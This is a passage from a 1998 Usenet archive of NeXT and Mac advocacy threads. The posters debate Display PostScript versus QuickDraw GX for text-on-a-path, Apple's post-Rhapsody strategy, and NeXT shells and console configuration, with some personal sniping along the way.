to return that (hmmm, five to ten lines max - maybe not even that).
The code then goes on to demonstrate how to find the kerning points from
the GX glyphs, then calculate a midpoint on the base of the bounding box
to use as the point on the curve (otherwise you're text "curves" at one
corner rather than the middle) then loops over the glyphs along the line
to plot them. It then goes on to talk about mouse tracking and text
selection duties. None of this is handled internally in GX.
Under DPS the _exact_ same library could be constructed with native DPS
calls and a tangent call. The glyphs are converted in the same way,
handed off and then plotted using pathforall. There is no operate
difference of any sort that I can see.
> do just that when I was saying that it was easier to do with GX than DPS.
I don't think it's easier in any measurable way. In fact I think the
end result, an app that uses such a lib, would be FAR FAR easier to
construct under YB due to all the other application support issues.
> In fact, just the other day, Dan was bemoaning the fact that none of the GX
> applications actually bother to use his code, which he has granted Apple to
> incorporate into GX in order to fix a known bug, BTW.
So what you're saying is that good code often doesn't make it into
products. This demonstrates that any lack of these abilities under apps
you've seen todate in no way speaks of any lack of functionality in the
DPS libraries.
In fact I found one article (which could be a misunderstanding) where it
is claimed that PS does not support the ability to "walk" a line and plot
as you go - pathforall does just this. If/when I get time post-1.0, I'm
looking to do this sort of thing in my app.
> What I have been claiming is that GX provides algorithms that make it
> *easier* to do this text-on-a-path thing
I can see no difference at all, and I'd like you to demonstrate one.
> and these algorithms work with
> multiple languages in multiple fonts with perfectly good,
> professional-level default kerning, because GX fonts contain the default
> kerning stuff.
Which is exactly what the PS ones do with NSString!
> Also, the GX API provides a way to connect the glyph shape (the
> text-on-path) with the original formatted text (layout shape)
By supporting an internal object model, which is completely unnecessary
under YB because the system IS an object model. In fact, thanks to the
excellent and clear explanations in Develop, I now know _exactly_ how to
duplicate this in my app, and will seriously consider it for the future.
Thank Dan for me.
> it has been one of my worries about NSText that there appears to be no way
> to connect the original formatting done by NSTExt to some arbitrary
> text-on-path so that one CAN do what Dan does
NSText is used with various line layout routines. Obviously it's not
built to handle text-on-a-curve (or for that matter text-as-clipping
etc.). This linkage would be based on a subclass which would discard the
normal NSParagraphStyle into linkage and would instead keep a cached
version of the string in a MiscUserPath (or NSBezierPath in the future)
then allow the user to use the text editing routines with any changes to
the text side (NSString) causing a re-cache and then pushing out a
setNeedsDisplay up the view hierarchy. Two to three days of good coding.
Actually thinking of it I'd likely make this a subclass of MiscUserPath
instead, because if you're doing this you likely want string-ops which are
offered outside, but want to deal with it as a path - ie...
[self drawMyPath];
[[NSColor blueColor] set];
PSshow();
or...
[[self path] DPS_draw cached:NO];
[[NSColor greenColor] set];
PSfill();
> As an example of how I am wrong, you're off-base here. I've always credited
> the develop article
I've seen references to text-on-a-path on multiple occasions, and yet
can't remember a single reference to this as it's source.
> The reason for this is simple: when you convert a GX layout shape to a GX
> glyph shape, you lose all formatting info as the text is converted into a
> series of non-formatted glyphs. However, the original spacing and other
> layout info of those glyphs is kept in the form of spacing between glyphs
> and other geometric placement info.
Information which is tossed out in the code in question because the
"binding" points are calculated from the bounding box.
> You can determine which glyph is hit in
> a glyph shape, regardless of it's placement
Which MiscHitPath does for you too.
> which character/glyph would be hit in the originally formatted layout shape
> and use GX's text-insertion/selection-point API to simulate typing directly
> into the text-on-a-path glyph shape (this is all described in Dan's
> _develop_ article in greater and more accurate detail).
Same here. On entry into edit mode pass the edit events to the string
and keep re-caching.
> While FreeHand 8.0 allows one to edit mirrored and rotated text, it
> apparently doesn't allow the editing of skewed or pespective-ized text, on
> or off a path.
Which your argument above clearly demonstrates has nothing to do with
the abilities of the available libraries!
Maury
From: rriley@yahoo.com (Rex Riley)
Newsgroups: comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: 5 Apr 1998 01:23:51 GMT
Organization: @Home Network
Message-ID: <6g6mf7$4d1$1@ha2.rdc1.sdca.home.com>
References: <rmcassid-0204980955590001@dante.eng.uci.edu> <B1494835-10C21@206.165.43.94>
<rmcassid-0204981412130001@dante.eng.uci.edu> <6g257k$n50$3@ha2.rdc1.sdca.home.com>
<rmcassid-0304981014240001@dante.eng.uci.edu> <6g44j5$5f6$2@ha2.rdc1.sdca.home.com>
<rmcassid-0404981112000001@dialin9040.slip.uci.edu>
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Cc: rmcassid@uci.edu
In <rmcassid-0404981112000001@dialin9040.slip.uci.edu> Robert
Cassidy wrote:
> In article <6g44j5$5f6$2@ha2.rdc1.sdca.home.com>,
rr6013@yahoo.com (Rex
> Riley) wrote:
>
> > An eternal optimist you are! I'm concerned Apple
resources are strapped with
> > survival tasks for which pulling off yet another creative
product coup is
> > just too much stretch.
>
> Well, I think that we are entering a time where Apple is
pulling out of
> survival mode in certain areas (namely OS development).
Furthermore an
> easier case can be made for expanding an existing product
into a new role
> (MacOS -> PDA) than to do it all from the ground up
(Newton). If nothing
> else, those expansions should have some relevance to your
core markets and
> you can recover some of the development costs. If NewtonOS
3.0 tanked, how
> would Apple recover the work put into it? If MacOSLite
tanked, no doubt
> there would be *some* work done there that would find it's
way back into
> MacOS just as Rhapsody and MacOS are mixing in terms of
features.
>
> My reasoning for thinking a product coup attempt will be
made is simple: I
> bet on Steve, not Apple. Apple is unpredicatable. Steve is
not. Steve
> lives for the product coup, and people keep him around for
just that
> purpose. While I think Apple is doing very well under his
leadership, I'm
> not sure that much of it is his work but rather his very
capable
> Lieutenants (which he picked, except for Anderson). Either
way, if it aint
> broke, don't fix it. But I think Steve is at Apple to do
something very
> specific, a coup, which all the company's available
resources will be
> devoted towards. And I think that Newton (and maybe Claris
- not reallly
> sure on this) was sacrificed toward this end.
>
>
I believe the probability of either of these two scenarios to
be nigh impossible. So let's agree to disagree. I'll mark
it mentally and watch for future developments.
> > Option#1:: YB>>>PDAish role... Nah. Too FAT
>
> Perhaps. We need to see where MacOS+YB goes, really. But I
think it's a
> longshot for a general purpose device.
>
> > Option#2:: Mac>>PDAish role... Nah. Lame "re-use" and
"brittle".
>
> E-mate. Cheap, durable, good form factor for children. Fits
in that 'grey'
> area. Not really a PDA, not really a laptop.
>
>
Neither of my kids would be interested in an E-mate (4 & 17
years) but hey, they're different.
> > Option#3:: QT==PDA RevenueHorse... Y.E.S. all the
engineering is done. This
> > is a MEGAmarketing exercise. I like the
"diversification" it brings to Apple
> > products which are "hdwe&sftwre" dependent. It also fits
with the strategy
> > of "owning" the _Media Delivery_ layer.
>
> This really is the big one if Apple can pull it off
properly. Technically
> they can do it easily I think - MS, Real Networks, etc.
don't even seem to
> be in the same league right now. Politically, I think that
the board
> profile helps matters, but it'll be a tough sell. Apple
need people like
> Disney, WB, Sony, Philips to help them. That's not Apple's
usual company
> and the stakes here are very high. We'll see if Steve is up
to the role -
> his Pixar experience could be key here.
>
>
This "pearl" is the most fruitful we've discovered in this
thread. Let's see how it maps to Reality.
> > >At the very least Java will have been elminated by
> > >MS, and be one less thing to deal with.
> >
> > Wow... are we on a role, today! That easy? Not even a
hedge here but
> > _eliminated_, I'm impressed. What a troll... OK, I'll
byte.
> >
> > How is MS going to "eliminate" Java. How long will this
_end-game_ take to
> > realize? When MS reshuffles the deck chairs, where does
this leave Apple
> > sitting when the good ship HMS Java goes down?
> >
> > This ought to be good... I'll wait in baited
anticipation.
>
> Oh no. That's not what I meant, sorry. Java will have been
eliminated as a
> competitor needing attention in the PDA market by WinCE.
With only Newton
> and Pilot in there, then I could see something like a
JavaOS handheld
> getting developed. WinCE makes that seem fairly
unnecessary. I don't see
> Java as having any more than a secondary role there right
now. As for Java
> in the other 99.3% of the computing market, I won't
speculate in this
> post.
>
JavaPDA is somewhat under-estimated, IMHO. JavaPDA is the
mirror-image of a QTwireless, strategy. Java will "own" the
_communications layer_ between "smart" devices. You're
correct that Java doesn't require JavaOS to talk Java between
devices. WinCE in the BIGPICTURE is just not that
significant "volume" wise. PDA wise I don't think WinCE has
the market won. JavaOS in the palm of your hand is everybit
the threat to WinCE precisely because of the threat WinCE is
to the rest of the computing industry.
Where MS is extending an existing product advantage into a
new market, JavaOS is pulling that market into "streams" of
richer opportunities and funtionalities. Poetic as that
sounds, I believe it means WinCE is a "preJava" product that
will begin to show its heritage.
best....
-r
Rex Riley
Date: Sat, 04 Apr 1998 07:06:54 -0500
From: joe.ragosta@dol.net (Joe Ragosta)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Message-ID: <joe.ragosta-0404980706540001@elk71.dol.net>
References: <slrn6hid19.2bd.sal@panix3.panix.com> <B14406C9-42E38@158.152.49.144> <slrn6i2i39.a5o.sal@panix3.panix.com> <6ft630$kkr$1@nnrp1.dejanews.com> <slrn6i6f4f.j6l.sal@panix3.panix.com>
In article <slrn6i6f4f.j6l.sal@panix3.panix.com>, sal@panix3.panix.com
(Salvatore Denaro) wrote:
> On Wed, 01 Apr 1998 04:51:54 -0600, ianb@well.com <ianb@well.com> wrote:
> >Well of course as it turns out it's not $500with the lowest cost all in
one at
> >$1299.
>
> The Apple store lists a g3-233 desktop for $1699. You can get a street price
> of $1550 or less. This is *without* a monitor. The AIO is $1499 with a
> monitor *and* it has the same expandibility. Add $300 for a monitor and the
> DT-233 is $500 more for the same specs.
>
> >I disagree - expansion is a hugely important plus for many users, and the all
> >in ones don't have enough expansion capabilities to satisfy them.
>
> The AIO has the same expansion. Apple should kill the Desktop 233 and lower
> the prices on the other Desktops. The DT266 should be at $1699 with an AV
> card in order to make it competitive with the AIO.
*chuckle*
That's like betting that the sun will come up tomorrow. It will happen,
it's only a question of exactly when.
--
Regards,
Joe Ragosta
See the Complete Macintosh Advocacy Page
http://www.dol.net/~Ragosta/complmac.htm
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 16:47:47 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6g0ffj$k6c$3@anvil.BLaCKSMITH.com>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com>
Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
[ ... ]
>> OpenStep is a free and open API for anyone to use. GNU and SUN
>> are using it. It's an open standard.
>
> YES... it is an openstandard, and that has something to be said for it...
>
> But the code itself is proprietary, and isn't OpenSource. I'll spare you
> my political speech about why things should be OpenSource, and leave it at
> this: I want an OS I can contribute to.
You are free to contribute to the GNUstep project.
You are also free to contribute to the MiscKit.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 2 Apr 1998 16:51:00 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6g0flk$k6c$4@anvil.BLaCKSMITH.com>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <6fnerp$er$1@news.idiom.com> <6fvb9d$6th$4@quasar.dimensional.com>
Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
[ ... ]
>> So double-click on Terminal.app. Or, type "console" into the login
>> window. The loginwindow program will exit, and you'll see a scrolling
>> text buffer. Hit return, and you'll get the usual UNIX login: prompt.
>
> No no no no... I can run Bash on NT! That means nothing. What you need
> is a system where you can install using character mode only, not install
> any graphics anything, and use the whole damn thing (besides your
> graphics-specific programs like Photoshop/Gimp, ect) from a vt100.
Fine. Here's an except from /etc/ttys:
# If you do not want to start the window server by default, you can
# uncomment the first entry and comment out the second.
#
# console "/usr/etc/getty std.9600" NeXT on secure
console /usr/lib/NextStep/loginwindow NeXT on secure
window=/usr/lib/NextStep/WindowServer onoption="/usr/etc/getty std.9600"
You want a character-mode only environment, you can get one.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: mmalcolm crawford <malcolm@plsys.co.uk>
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Subject: Re: Rhapsody for the Open minded
Date: 4 Apr 1998 18:59:49 GMT
Organization: P & L Systems
Message-ID: <6g5vv5$fhe$1@ironhorse.plsys.co.uk>
References: <199801202218001457904@ppp8.hol.fr> <6bunvs$btf$1@ns3.vrx.net>
<6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk>
<34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com>
<slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com>
<slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com>
<6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com>
<351f11d5.0@206.25.228.5> <6fvaev$6th$2@quasar.dimensional.com>
<6g0ffj$k6c$3@anvil.BLaCKSMITH.com>
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Cc: chuck-nospam@blacksmith.com
In <6g0ffj$k6c$3@anvil.BLaCKSMITH.com> Charles Swiger wrote:
> Kenneth R. Kinder <Ken@_$spamless$_KenAndTed.com> wrote:
> [ ... ]
> > I want an OS I can contribute to.
>
> You are free to contribute to the GNUstep project.
> You are also free to contribute to the MiscKit.
>
Umm, hang on, do we *want* Ken contributing to these?! :-)
Best wishes,
mmalc.
From: rmcassid@uci.edu (Robert Cassidy)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody being scrapped? What's up with this?
Date: Sat, 04 Apr 1998 11:12:00 -0800
Organization: UC Irvine
Message-ID: <rmcassid-0404981112000001@dialin9040.slip.uci.edu>
References: <rmcassid-0204980955590001@dante.eng.uci.edu> <B1494835-10C21@206.165.43.94> <rmcassid-0204981412130001@dante.eng.uci.edu> <6g257k$n50$3@ha2.rdc1.sdca.home.com> <rmcassid-0304981014240001@dante.eng.uci.edu> <6g44j5$5f6$2@ha2.rdc1.sdca.home.com>
In article <6g44j5$5f6$2@ha2.rdc1.sdca.home.com>, rr6013@yahoo.com (Rex
Riley) wrote:
> An eternal optimist you are! I'm concerned Apple resources are strapped with
> survival tasks for which pulling off yet another creative product coup is
> just too much stretch.
Well, I think that we are entering a time where Apple is pulling out of
survival mode in certain areas (namely OS development). Furthermore an
easier case can be made for expanding an existing product into a new role
(MacOS -> PDA) than to do it all from the ground up (Newton). If nothing
else, those expansions should have some relevance to your core markets and
you can recover some of the development costs. If NewtonOS 3.0 tanked, how
would Apple recover the work put into it? If MacOSLite tanked, no doubt
there would be *some* work done there that would find it's way back into
MacOS just as Rhapsody and MacOS are mixing in terms of features.
My reasoning for thinking a product coup attempt will be made is simple: I
bet on Steve, not Apple. Apple is unpredicatable. Steve is not. Steve
lives for the product coup, and people keep him around for just that
purpose. While I think Apple is doing very well under his leadership, I'm
not sure that much of it is his work but rather his very capable
Lieutenants (which he picked, except for Anderson). Either way, if it aint
broke, don't fix it. But I think Steve is at Apple to do something very
specific, a coup, which all the company's available resources will be
devoted towards. And I think that Newton (and maybe Claris - not reallly
sure on this) was sacrificed toward this end.
> Option#1:: YB>>>PDAish role... Nah. Too FAT
Perhaps. We need to see where MacOS+YB goes, really. But I think it's a
longshot for a general purpose device.
> Option#2:: Mac>>PDAish role... Nah. Lame "re-use" and "brittle".
E-mate. Cheap, durable, good form factor for children. Fits in that 'grey'
area. Not really a PDA, not really a laptop.
> Option#3:: QT==PDA RevenueHorse... Y.E.S. all the engineering is done. This
> is a MEGAmarketing exercise. I like the "diversification" it brings to Apple
> products which are "hdwe&sftwre" dependent. It also fits with the strategy
> of "owning" the _Media Delivery_ layer.
This really is the big one if Apple can pull it off properly. Technically
they can do it easily I think - MS, Real Networks, etc. don't even seem to
be in the same league right now. Politically, I think that the board
profile helps matters, but it'll be a tough sell. Apple need people like
Disney, WB, Sony, Philips to help them. That's not Apple's usual company
and the stakes here are very high. We'll see if Steve is up to the role -
his Pixar experience could be key here.
> >At the very least Java will have been elminated by
> >MS, and be one less thing to deal with.
>
> Wow... are we on a role, today! That easy? Not even a hedge here but
> _eliminated_, I'm impressed. What a troll... OK, I'll byte.
>
> How is MS going to "eliminate" Java. How long will this _end-game_ take to
> realize? When MS reshuffles the deck chairs, where does this leave Apple
> sitting when the good ship HMS Java goes down?
>
> This ought to be good... I'll wait in baited anticipation.
Oh no. That's not what I meant, sorry. Java will have been eliminated as a
competitor needing attention in the PDA market by WinCE. With only Newton
and Pilot in there, then I could see something like a JavaOS handheld
getting developed. WinCE makes that seem fairly unnecessary. I don't see
Java as having any more than a secondary role there right now. As for Java
in the other 99.3% of the computing market, I won't speculate in this
post.
-Bob Cassidy
From: malcolm@plsys.co.uk
Newsgroups: comp.sys.next.advocacy
Subject: Re: The never ending X debate (WAS: Re: NeXT style scroll bars)
Date: Sat, 04 Apr 1998 10:05:20 -0600
Organization: Deja News - The Leader in Internet Discussion
Message-ID: <6g5lo2$276$1@nnrp1.dejanews.com>
References: <slrn6hh8u3.57m.sal@panix3.panix.com> <3518B383.49A1D749@nstar.net> <slrn6hj304.e9k.sal@panix3.panix.com> <3519C41D.2B9F@nstar.net> <slrn6hnmtr.5p.sal@panix3.panix.com> <351BE06A.68849F9B@nstar.net> <slrn6ho882.mlr.sal@panix3.panix.com> <351d6202.0@nnrp1.news.uk.psi.net> <slrn6i2gsk.a5o.sal@panix3.panix.com> <6frnos$e4s$1@cronkite.cygnus.com> <3521DC87.5515B046@nstar.net> <slrn6i6e1v.j6l.sal@panix3.panix.com> <3523444C.1418465B@nstar.net> <slrn6i7lum.kjl.sal@panix3.panix.com> <3523D9A1.80009B7C@nstar.net> <slrn6i81gr.kjl.sal@panix3.panix.com> <35241B5B.246B7869@nstar.net>
In article <35241B5B.246B7869@nstar.net>,
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> > You might have used it for a while, but it is clear that you
> > do not know enough about it to contrast and compare it to X.
>
> That's somewhat true, so it's a good thing I don't make posts to this
> newsgroup attempting to do that very thing. Like I said, I'm no
> PostScript programmer, and I defy you to find the posting in which I
> critique DPS as a display layer...
>
Sorry...
Best wishes,
mmalc.
Subject: Re: Defending Lawson English (was: Re: Graphics in Rhapsody vs
Blue Box (Was Re: Help systems)) From: "Michael J. Peck" <mjpeck@nstar.net>
Date: 1998/02/03 Message-ID: <34D7F207.BA1EAD56@nstar.net> Newsgroups:
comp.sys.next.advocacy,comp.sys.mac.advocacy
[cut]
> >How's DPS going to handle the DGA extension?
>
> I prove my point any you try to redirect the agrument into somemore
> nonsense. What does this have to do with my statement that DPS was added to
> X to provide functionality that X is lacking? Are you just looking for a
> reason to flame me?
Relax. The DGA extension to X can't be performed through DPS, plain and
simple. This is a part of X that can't be hosted on top of DPS.
Now, you may say "of course, DGA is direct framebuffer access, so by
definition you'd have to use Interceptor." I'd agree, but it's an
example of how low-level X actually is, and why it can't be completely
hosted by DPS. Period.
Subject: Re: Graphics Anti-Advocacy From: Michael Peck <mjpeck@nstar.net>
Date: 1998/01/30 Message-ID: <34D22C6D.33EA@nstar.net> Newsgroups:
comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
> Is the hit that DPS takes really that bad?
I doubt it's a speed hit; I don't think it can be done. The way Sean
described this reminded me of Qt, which also cannot use non-rectangular
widgets (at least, the existing widgets and event model are based on
rectangular widgets). I guess the guarantee that underlying windows will
not change is a clue to the fact that irregular DPS windows are simply
performing a grab on the underlying window and pasting it into the
background appropriately. This is exactly what I have to do with Qt
widgets if I want them non-rectangular.
X *does* support the Shape extension, which slows things down
significantly, and which would require rebuilding the entire Qt widget
set in order to integrate (this would also break portability between
Qt-X and Qt-Windows).
Subject: Re: Graphics Anti-Advocacy From: Michael Peck <mjpeck@nstar.net>
Date: 1998/01/30 Message-ID: <34D2370F.15B2@nstar.net> Newsgroups:
comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
Michael Peck wrote:
> The Red Book, under "Mixing OpenGL and X Rendering", suggests that such
> a thing is rather tricky and problematic, no matter what your underlying
> graphics framework is. A better bet is to get the whole job done in
> OpenGL, since it supports 2D primitives.
Uh, this is awkwardly written. Here's what I mean in the first sentence:
according to the book, mixing X rendering with OpenGL rendering in one
window is problematic. The better solution is to restrict all rendering
in a single window to a single API. Since X is inadequate, and DPS
doesn't do 3D anyway, but the window-based separation of 2D and 3D is
becoming anachronistic, why not consolidate under one umbrella?
I suppose QTML can already do this. That raises some very sticky
questions, including: OpenGL as a backend for QD3D? QuickDraw GX an
option? How does DPS fit in?
Subject: Re: Graphics Anti-Advocacy From: "Michael J. Peck"
<mjpeck@nstar.net> Date: 1998/02/02 Message-ID:
<34D68C38.C8E02163@nstar.net> Newsgroups:
comp.sys.mac.advocacy,comp.sys.next.advocacy,comp.os.linux.advocacy
[cut]
> Remember that much in web-graphics has been optimized for 8-bit
> color table display (thanks to GIF).
Which means what? The DPS still performs an ordered dither, compared to
the highly-superior Floyd-Steinberg employed by nearly every modern
graphical system. Use 216 colors for any comparison you like, the
diffuse dither will win hands-down every time.
I suppose its possible that your X server was, again, poorly configured
or written. It's possible you were using an older server, perhaps based
on X11R4 or R5, wherein threshold dither was used by default instead of
a diffuse dither. That could account for your problem. If so, I suggest
you do your X-based tests with a more modern system.
[more...]
-----== Posted via Deja News, The Leader in Internet Discussion ==-----
http://www.dejanews.com/ Now offering spam-free web-based newsreading
From: devnull@occam.com (Leon von Stauber)
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 4 Apr 1998 17:31:26 GMT
Organization: Occam's Razor
Message-ID: <6g5qpe$hpr$1@news.cmc.net>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36>
<3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net>
<3522A4BC.74C7BEF0@nstar.net> <35238f19.0@nnrp1.news.uk.psi.net>
<3523BFDF.529161F8@nstar.net> <6g3igl$452$3@anvil.BLaCKSMITH.com>
<3525C014.1597@nstar.net>
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Cc: mjpeck@nstar.net
In <3525C014.1597@nstar.net> Michael Peck wrote:
>Charles Swiger wrote:
>
>> > But I can understand why your shell seemed so useless, if you really
>> > used the box as it shipped; you didn't have filename completion,
>>
>> False. Even the standard csh supports filename completion.
>
>Not as shipped, no.
Use ESC.
>> > any convenience shells whatsoever, etc., etc.
>>
>> Modern versions of the OS ship with zsh. Back in 1988 thru the early
1990's,
>> /bin/sh and /bin/csh were the two standard shells that everyone shipped,
and
>> damned few vendors provided anything else.
>>
>> Besides, what were you looking for? It was probably available....
>
>tcsh, ksh...
Which are available. I use tcsh on mine.
_______________________________________________________________
Leon von Stauber http://www.occam.com/leonvs/
Occam's Razor, Game Designer <com.occam@leonvs>
Metapath Software, UNIX System Admin <com.metapath@lvonstau>
"We have not come to save you, but you will not die in vain!"
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 16:40:12 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6g0f1c$k6c$1@anvil.BLaCKSMITH.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233754.38F84A51@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Charles Swiger wrote:
>> I've never seen you post to any NeXT group except .advocacy, and only then
>> to complain about NEXTSTEP. I've never seen you simply ask for help
>> without making editorial complaints.
>
> I don't want the help of .advocacy people. Thanks anyway.
If you "don't want the help of .advocacy people", why have you never posted
to another NeXT group for help?
On the face of it, that seems to be a contradiction.
>> Almost all of the problems you've mentioned have well-known solutions. In
>> fact, most of them have been discussed before, and a moderately skilled
>> application of search filtering and keyword choice via DejaNews would
>> produce lots of useful information.
>
> And I gathered what I could from people I could count on, including
> people like mmalcolm crawford and Alex Kac. But I made the decision long
> ago that NEXTSTEP didn't "Just Work" the way I needed it to, so I sold
> the machine I bought for what I paid for it.
That's fine. Obviously, the system held it's value adequately, which is
better than most computer hardware does.
> My last post was a response to an implicit (but harmless) challenge to an
> assertion I made, so I thought it prudent to respond with some specifics. I
> don't like it when people complain without describing their problems.
Also fine. However, as I said, almost all of the specific problems you
describe have well known, specific solutions which are available to anyone
who bothers to look or even ask.
> If you have a problem with me, Chuck (I suspect that's the problem),
> email me privately. Your grandstanding is *oh so* tiring.
"Grandstanding"? What are you talking about, precisely?
Actually, I don't really care. I've been contributing to the NeXT newsgroups
for years before you came around, and I'm not concerned whether or not you
value those contributions. I don't have a personal problem with you, but I
will correct you when you make assertions about NEXTSTEP that are false.
If you don't like it, feel free to go away again, or killfile me.
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: Charles Swiger <chuck-nospam@blacksmith.com>
Newsgroups: comp.sys.next.advocacy
Subject: Re: NeXT style scroll bars
Date: 2 Apr 1998 16:43:12 GMT
Organization: BLaCKSMITH, Inc.
Message-ID: <6g0f70$k6c$2@anvil.BLaCKSMITH.com>
References: <6e6jl3$csu$3@ns3.vrx.net> <B12D7BD5-3CE309@141.214.128.36> <3521DC87.5515B046@nstar.net> <6fu5er$2f7$1@interport.net> <3522A4BC.74C7BEF0@nstar.net> <6fuj2p$c7j$7@anvil.BLaCKSMITH.com> <35233969.E1E5BBD@nstar.net>
"Michael J. Peck" <mjpeck@nstar.net> wrote:
> Charles Swiger wrote:
>> Almost all of the problems you've mentioned have well-known solutions. In
>> fact, most of them have been discussed before, and a moderately skilled
>> application of search filtering and keyword choice via DejaNews would produce
>> lots of useful information.
>
> By the way, you're going to fix the left-handed scrollers? You're going
> to help me with the lack of text-based help files? You're going to
> personally email me man pages which are missing in my former User's
> Release? Or maybe you were going to help me with my network problems?
No. As you yourself said, "The problems I described are in the past, so they don't
matter anymore except as instructive examples."
> Seems like last time you tried that, Chuck, you did the following:
>
> 1) Told me my box was "screwed up"
> 2) Told me I was "incompetent"
Remarkable what you can come up with when you oversimpify, isn't it?
-Chuck
Charles Swiger | chuck@BLaCKSMITH.com | standard disclaimer
---------------+----------------------+--------------------
"Microsoft: we make the easy almost impossible."
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Sat, 4 Apr 1998 19:15:02 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <1d6ypad.fjt4xzzzvz9qN@phoenix89.wco.com>
References: <199801202218001457904@ppp8.hol.fr> <34CF6517.1B6E@nstar.net> <6bfhf2$ad2$1@ns3.vrx.net> <adtEnzKxA.3Ar@netcom.com> <slrn6duen6.q82.sal@panix3.panix.com> <slrn6e47gt.75j.jstevens@samoyed.ftc.nrcs.usda.gov> <6bunvs$btf$1@ns3.vrx.net> <6cisv6$kbn$2@quasar.dimensional.com> <6dbrd2$fn6$22@ironhorse.plsys.co.uk> <34FAD56E.F4B08F27@markelcorp.com> <6dfoc4$3o0$1@quasar.dimensional.com> <slrn6fn71t.cnk.sal@panix3.panix.com> <6ffdae$4qq$1@quasar.dimensional.com> <slrn6hno4t.5p.sal@panix3.panix.com> <6fkjic$dcs$1@quasar.dimensional.com> <6flfq7$lu4$1@bignews.shef.ac.uk> <6fmtdo$qr7$1@quasar.dimensional.com> <351f11d5.0@206.25.228.5> <6fnorc$71e$3@ns3.vrx.net> <slrn6i2mja.a5o.sal@panix3.panix.com> <B14737A9-B5723@206.165.43.177> <slrn6i6bot.j6l.sal@panix3.panix.com> <B1488FCF-4D423@206.165.43.158> <6g0au4$3a8$1@ns3.vrx.net> <B14950AB-30914@206.165.43.94>
Lawson English <english@primenet.com> wrote:
> But
[munch]
>
> Lame.
>
> Totally lame.
>
Children are so cute when they're clueless.
Refer to DejaNews November 1996 through January 1998 for more
information.
--
Mike Paquette mpaque@wco.com
"Troubled Apple Computer" and the "Troubled Apple" logo are trade and
service marks of Apple Computer, Inc.
From: mpaque@wco.com (Mike Paquette)
Newsgroups: comp.sys.mac.advocacy,comp.sys.next.advocacy
Subject: Re: Rhapsody for the Open minded
Date: Sat, 4 Apr 1998 19:15:05 -0800
Organization: Electronics Service Unit No. 16
Message-ID: <1d6ypfj.12e2dg7h3cn28N@phoenix89.wco.com>
